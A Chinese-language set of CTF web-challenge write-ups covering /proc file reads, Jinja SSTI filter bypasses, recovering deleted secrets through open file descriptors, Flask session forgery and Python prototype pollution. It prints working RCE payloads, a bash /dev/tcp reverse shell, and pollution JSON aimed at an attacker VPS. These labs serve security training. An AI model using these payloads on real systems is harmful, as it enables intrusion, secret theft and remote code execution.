赞
踩
https://www.anquanke.com/post/id/241148#h2-10
复现环境buuctf 或者 nssctf都有
任意文件读取/proc
/pwd 提示查看 /app
/Upload file 一个上传接口
/Read somethings 类似ssrf漏洞 还是一个任意文件读取
尝试读取/app下所有文件 http://node4.anna.nssctf.cn:28544/read?url=file:///app/*
想直接读/flag file:///flag
返回 re.findall(‘flag’, url, re.IGNORECASE) 返回一个正则查找 不能直接利用
/proc/1/cmdline 读取 当前进程信息
/app/app.py 一般源码位置
/proc/1/environ 系统环境变量
对以上代码的解释
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统
http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/cmdline
返回 /bin/bash./start.sh
查看/app/start.sh内容 没有什么可以利用的
一般flag在环境变量中
直接看环境变量
http://node4.anna.nssctf.cn:28544/read?url=file:///proc/1/environ
可以拿到flag
可能存在任意文件读取的地方,都可以试试
/proc/1/cmdline 读取 当前进程信息
/app/run.sh 读源码
/app/app.py
/proc/1/environ 环境变量
其中proc 代表虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统
SSTI
/proc(选用)
fuzz一下ssti过滤的字符
应该是过滤了字符 . ' _
把我们常用payload改写一下 {{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
访问 属性 的方式:
> ().__class__
> ()["__class__"]
> ()|attr("__class__")
> ().__getattribute__("__class__")
这里用简单的编码绕过(16进制)
__globals__ = \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
__builtins__=\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f
__import__=\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f
popen
正常构造出
{{lipsum["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("os")["popen"]("ls")["read"]()}}
即可任意执行命令
找半天没找到flag…
看一下 /app/app.py源码 cat /app/app*
import random from flask import Flask, render_template_string, render_template, request import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'# Tiaonmmn don 't remember to remove this part on deploy so nobody will solve that hehe ' '' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') '' ' def encode(line, key, key2): return ' '.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) file = open("/app/flag", "r") flag = file.read() flag = flag[:42] app.config[' flag '] = encode(flag, ' GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3 ', ' xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT ') flag = "" os.remove("/app/flag") nicknames = ['˜” * °★☆★_ % s_★☆★°° * ', ' % s~♡ⓛⓞⓥⓔ♡~', ' % s Вêчңø в øĤлâйĤé ', '♪♪♪ % s♪♪♪ ', ' [♥♥♥ % s♥♥♥] ', ' % s, kOтO® Aя)(оТеЛ@© 4@ $tьЯ ', '♔ % s♔ ', ' [♂+♂ = ♥] % s[♂+♂ = ♥] '] @app.route(' / ', methods=[' GET ', ' POST ']) def index(): if request.method == ' POST ': try: p = request.values.get(' nickname ') id = random.randint(0, len(nicknames) - 1) if p != None: if '. ' in p or ' _ ' in p or '\ '' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[id] % p) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host = '0.0.0.0', port = 1337), kOтO® Aя)(оТеЛ@© 4@ $tьЯ
看的头疼 美化一下 直接拿源码 放在html反转义
import random from flask import Flask, render_template_string, render_template, request import os app = Flask(__name__) app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)' #Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') ''' def encode(line, key, key2): return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line))) file = open("/app/flag", "r") flag = file.read() flag = flag[:42] app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT') flag = "" //将flag放在config中 os.remove("/app/flag") nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]'] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': try: p = request.values.get('nickname') id = random.randint(0, len(nicknames) - 1) if p != None: if '.' in p or '_' in p or '\'' in p: return 'Your nickname contains restricted characters!' return render_template_string(nicknames[id] % p) except Exception as e: print(e) return 'Exception' return render_template('index.html') if __name__ == '__main__': app.run(host='0.0.0.0', port=1337) , kOтO®Aя )(оТеЛ@ ©4@$tьЯ
异或的异或等于本身
查看{{config}}
编写
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
flag="-M7\x10w@d?d\x02'k\x7f\x0eM\n<\x07(D\x1bO[\x17 3Ti\x02]O\x0c'V--\x16`\x12\x08\x1bG"
print(encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'))
还有大佬用 https://johnfrod.top/ctf/pasecactf-2019flask_ssti/
利用/proc目录
经过阅读源码我们,app.py会打开/app/flag文件,然后读取其中的内容进行加密,加密函数在提示中给出的源码中。最后会删掉flag,导致无法直接通过读文件来获取flag。但是可以通过/proc读取当前进程(self)打开过得文件来获取内容
这里有一个很特殊的操作
1.涉及读取敏感文件
2.删除敏感文件
3.没有关闭文件流f
能够在/proc/self/fd/xxx
里找到进程打开的文件信息
**注意:**这里不能用命令执行去cat /proc/self/fd/3
,因为这样获取到得进程是cat
命令当前的进程,而不是当前服务的进程,所以是找不到flag的
所以我们要通过题目的当前进程使用读取文件(如文件包含漏洞,或者SSTI使用file模块读取文件)的方式读取/proc/self/cmdline
ssti编码绕过+学会’找’flag+通过/proc/self/fd/id可以拿到打开过文件来获取内容
/proc的理解
直接传入/flag
返回jpg文件 用文本软件打开即可
在linux中,proc是一个虚拟文件系统,也是一个控制中心,里面储存是当前内核运行状态的一系列特殊文件;该系统只存在内存当中,以文件系统的方式为访问系统内核数据的操作提供接口,可以通过更改其中的某些文件来改变内核运行状态。它也是内核提供给我们的查询中心,用户可以通过它查看系统硬件及当前运行的进程信息。
/proc/pid/cmdline 包含了用于开始进程的命令 ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。
/proc/self/cmdline
查看当先程序的执行 找源代码
app.py为源码位置
from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) #进行 读取且删除 并且文件流未关闭 #可以通过/proc/self/fd/3读取文件流 @app.route('/') def index(): return render_template('search.html') @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value) @app.route('/no_one_know_the_manager') #利用点 保证传入key=SECRET_KEY def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
/proc/self/fd/3
返回 zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=
在/no_one_know_the_manager路由下传入 key=zWp3bpDEyDJOIrpq6tBeEXe8pCJLVuT+kicalwJYmyI=(这里记得url编码有=)
这里我 curl一下dns 看看出不出网
直接反弹shell 注意url编码
bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"
flag{411a870c-29c4-42c5-a1ca-0f276e006a67}
这道题运用了/proc/self/fd/3读取未关闭文件流的方法拿到key进行rce
开题直接给源码
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
当shell执行后 读取又删除且没有关闭文件流
明明出外网,题目描述非说不出…
bash -c "bash -i >& /dev/tcp/ip/8888 0>&1"
cat /proc/*/fd/*
遍历所有 文件流
可以拿到flag
flag{0d7d28b8-9058-48aa-bfbc-10149bf3adbf}
通过 /proc/*/fd/*
遍历所有文件流
看不出来什么就抓个包看看
session+类似jwt的形式 多半是python-flask-session
而且放在 jwt.io上也可以判断不是jwt
但是可以看看内容
通过修改flask-session的值实现更改
这里用工具 flask-unsign https://github.com/Paradoxis/Flask-Unsign
查看session的信息
flask-unsign --decode -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"
想办法更改balance 需要拿到secret-key
可以尝试爆破一下
flask-unsign --unsign -c "eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.Ze3VzA.FP12qD8s8s-u1W6ZmYX5SX3mne8"
尝试爆破失败 必须拿到secret-key
发现这存在下载功能
可以抓包看到请求
可以实现任意文件读取
可以读取../../../../proc/1/environ
拿到环境变量
会发现secret_key在环境变量中:VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ
flask-unsign伪造
flask-unsign --sign -c "{'balance': 9999, 'purchases': []}" --secret "VVX90LKWsDno9UnlulGwQMwdDH6BiHvkvMcNy6DZ"
session=eyJiYWxhbmNlIjo5OTk5LCJwdXJjaGFzZXMiOltdfQ.Ze3Y8g.65hNJ1-zjpK1Sn-NKdgFWuBPj7c
浏览器伪造session即可
涉及flask-session问题会运用工具flask-unsign伪造
当存在任意文件读取时考虑/proc/虚拟文件系统读取敏感信息
题目地址:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/swagger%20docs
app/
|- [app.py](http://app.py/)
|- [config.py](http://config.py/)
|- static/ 静态目录
| |- style.css
|- templates/
| |- index.html
|- blueprints/
| |- auth/
| |- **init**.py
| |- [views.py](http://views.py/)
| |- [models.py](http://models.py/)
|- **init**.py
题目开题 { "swagger": "2.0", "info": { "description": "Interface API Documentation", "version": "1.1", "title": "Interface API" }, "paths": { "/api-base/v0/register": { "post": { "consumes": [ "application/json" ], "summary": "User Registration API", "description": "Used for user registration", "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserRegistration" } } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" } } } }, "/api-base/v0/login": { "post": { "consumes": [ "application/json" ], "summary": "User Login API", "description": "Used for user login", "parameters": [ { "name": "body", "in": "body", "required": true, "schema": { "$ref": "#/definitions/UserLogin" } } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" } } } }, "/api-base/v0/search": { "get": { "summary": "Information Query API", "description": "Used to query information", "parameters": [ { "name": "file", "in": "query", "required": true, "type": "string" }, { "name": "id", "in": "query", "required": false, "type": "string" }, { "name": "type", "in": "query", "required": false, "type": "string", "description": "Default JSON format.If type is 'text',Text format will be returned" } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" }, "401": { "description": "Unauthorized" } }, "security": [ { "TokenAuth": [] } ] } }, "/api-base/v0/update": { "post": { "consumes": [ "application/json" ], "summary": "Change Password API", "description": "Used to change user password", "parameters": [ { "name": "password", "in": "body", "required": true, "schema": { "type": "object", "properties": { "password": { "type": "string" } } } } ], "responses": { "200": { "description": "success" }, "400": { "description": "Invalid request parameters" }, "401": { "description": "Unauthorized" } }, "security": [ { "TokenAuth": [] } ] } }, "/api-base/v0/logout": { "get": { "summary": "Logout API", "description": "Used for user logout", "responses": { "200": { "description": "success" }, "401": { "description": "Unauthorized" } }, "security": [ { "TokenAuth": [] } ] } } }, "definitions": { "UserRegistration": { "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" } } }, "UserLogin": { "type": "object", "properties": { "username": { "type": "string" }, "password": { "type": "string" } } } }, "securityDefinitions": { "TokenAuth": { "type": "apiKey", "name": "Authorization", "in": "header" } }, "security": [ { "TokenAuth": [] } ] }
/api-base/v0/register 注册 {"username":1,"password":1} /api-base/v0/login 登录 {"username":1,"password":1} 登录成功后可以正常使用功能 /api-base/v0/search 注意英文注解 type=text 返回原文 这存在任意文件读取 /api-base/v0/search=../../../proc/1/cmdline&type=text 读取 当前进程信息 ../../../proc/1/cmdline-->执行文件 /app/run.sh--> 读源码 /app/app.py 类似的 ../../../../proc/1/environ 环境变量 proc 虚拟文件系统 可以访问 内核信息 1 代表 uid =1 一般为主系统
/api-base/v0/search 存在任意文件读取 漏洞 必须指定type=text
http://23.94.38.86:9002/api-base/v0/search?file=/proc/1/cmdline&type=text
可以看到系统开的执行命令
可以判断程序路径是/app
file=/proc/1/environ&type=text
环境变量中没有flag
#coding=gbk import json from flask import Flask, request, jsonify,send_file,render_template_string import jwt import requests from functools import wraps from datetime import datetime import os app = Flask(__name__) app.config['TEMPLATES_RELOAD']=True app.config['SECRET_KEY'] = 'fake_flag' current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') response0 = { 'code': 0, 'message': 'failed', 'result': None } response1={ 'code': 1, 'message': 'success', 'result': current_time } response2 = { 'code': 2, 'message': 'Invalid request parameters', 'result': None } def auth(func): @wraps(func) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return 'Invalid token', 401 try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == User.username and payload['password'] == User.password: return func(*args, **kwargs) else: return 'Invalid token', 401 except: return 'Something error?', 500 return decorated @app.route('/',methods=['GET']) def index(): return send_file('api-docs.json', mimetype='application/json;charset=utf-8') @app.route('/api-base/v0/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.json['username'] password = request.json['password'] User.setUser(username,password) token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256') User.setToken(token) return jsonify(response1) return jsonify(response2),400 @app.route('/api-base/v0/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.json['username'] password = request.json['password'] try: token = User.token payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == username and payload['password'] == password: response = jsonify(response1) response.set_cookie('token', token) return response else: return jsonify(response0), 401 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 return jsonify(response2), 400 @app.route('/api-base/v0/update', methods=['POST', 'GET']) @auth def update_password(): try: if request.method == 'POST': try: new_password = request.get_json() if new_password: update(new_password, User) updated_token = jwt.encode({'username': User.username, 'password': User.password}, app.config['SECRET_KEY'], algorithm='HS256') User.token = updated_token response = jsonify(response1) response.set_cookie('token',updated_token) return response else: return jsonify(response0), 401 except: return "Something error?",505 else: return jsonify(response2), 400 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 def update(src, dst): if hasattr(dst, '__getitem__'): for key in src: if isinstance(src[key], dict): if key in dst and isinstance(src[key], dict): update(src[key], dst[key]) else: dst[key] = src[key] else: dst[key] = src[key] else: for key, value in src.items() : if hasattr(dst,key) and isinstance(value, dict): update(value,getattr(dst, key)) else: setattr(dst, key, value) @app.route('/api-base/v0/logout') def logout(): response = jsonify({'message': 'Logout successful!'}) response.delete_cookie('token') return response @app.route('/api-base/v0/search', methods=['POST','GET']) @auth def api(): if request.args.get('file'): try: if request.args.get('id'): id = request.args.get('id') else: id = '' data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id) if data.status_code != 200: return data.status_code if request.args.get('type') == "text": return render_template_string(data.text) else: return jsonify(json.loads(data.text)) except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 except Exception: return 'something error?' else: return jsonify(response2) class MemUser: def setUser(self, username, password): self.username = username self.password = password def setToken(self, token): self.token = token def __init__(self): self.username="admin" self.password="password" self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256') if __name__ == '__main__': User = MemUser() app.run(host='0.0.0.0')
updata函数提示我们可以用python原型链污染
def update(src, dst): if hasattr(dst, '__getitem__'): for key in src: if isinstance(src[key], dict): if key in dst and isinstance(src[key], dict): update(src[key], dst[key]) else: dst[key] = src[key] else: dst[key] = src[key] else: for key, value in src.items() : if hasattr(dst,key) and isinstance(value, dict): update(value,getattr(dst, key)) else: setattr(dst, key, value)
update(new_password, User)#污染源
实现污染
@app.route('/api-base/v0/update', methods=['POST', 'GET']) @auth def update_password(): try: if request.method == 'POST': try: new_password = request.get_json()#json数据传递 if new_password: update(new_password, User)#污染源 updated_token = jwt.encode({'username': User.username, 'password': User.password}, app.config['SECRET_KEY'], algorithm='HS256') User.token = updated_token response = jsonify(response1) response.set_cookie('token',updated_token) return response else: return jsonify(response0), 401 except: return "Something error?",505 else: return jsonify(response2), 400 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401
其中 User = MemUser()
MemUser类
class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password
def setToken(self, token):
self.token = token
def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
可以通过对象的__init__
直接拿到__globals__
属性实现控制python中的任意属性
return render_template_string(data.text)
思路:
通过控制 data.text 为实现SSTI的RCE
__globals__
->os->environ->http_proxy(设置代理)->再通过nc 转发tcp数据流(vps可控response内容)payload: 通过污染http_proxy让每次请求通过代理服务器也就是我们的vps
通过nc 监听篡改请求
payload 向/api-base/v0/update提交json数据
{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"我们vps的地址:监听端口"}}}}}
{"__init__":{"__globals__":{"os":{"environ":{"http_proxy":"148.135.82.190:8888"}}}}}
可以污染成功
然后 vps上监听端口8888
访问/api-base/v0/search 注意带参数type=text触发渲染
/api-base/v0/search?file=/app/app.py&type=text
vps上接受到请求
HTTP/1.1 200 OK
{{lipsum.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
构造响应包
可以看到响应包
读取2UARlN9KDhdmbhajd7gtamWuBf9CiFf0_FLAG文件
再次触发
HTTP/1.1 200 OK
{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}
可以拿到flag
简易版的burp,可以实现tcp,udp信道的监听,数据的传递
nc -lvp 80
curl ip:80
vps 可控 返回内容
__globals__
->requests->Response->text内容为payload直接控制data.text 为我们ssti的payload
payload: 向/api-base/v0/update提交json数据
{"__init__":{"__globals__":{"requests":{"Response":{"text":"payload"}}}}}
例如:{"__init__":{"__globals__":{"requests":{"Response":{"text":"{{lipsum.__globals__.__builtins__['__import__']('os').popen('cat 2U*').read()}}"}}}}}
访问/api-base/v0/search?file=/app/app.py&type=text 触发
可以看到直接回显了 拿到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。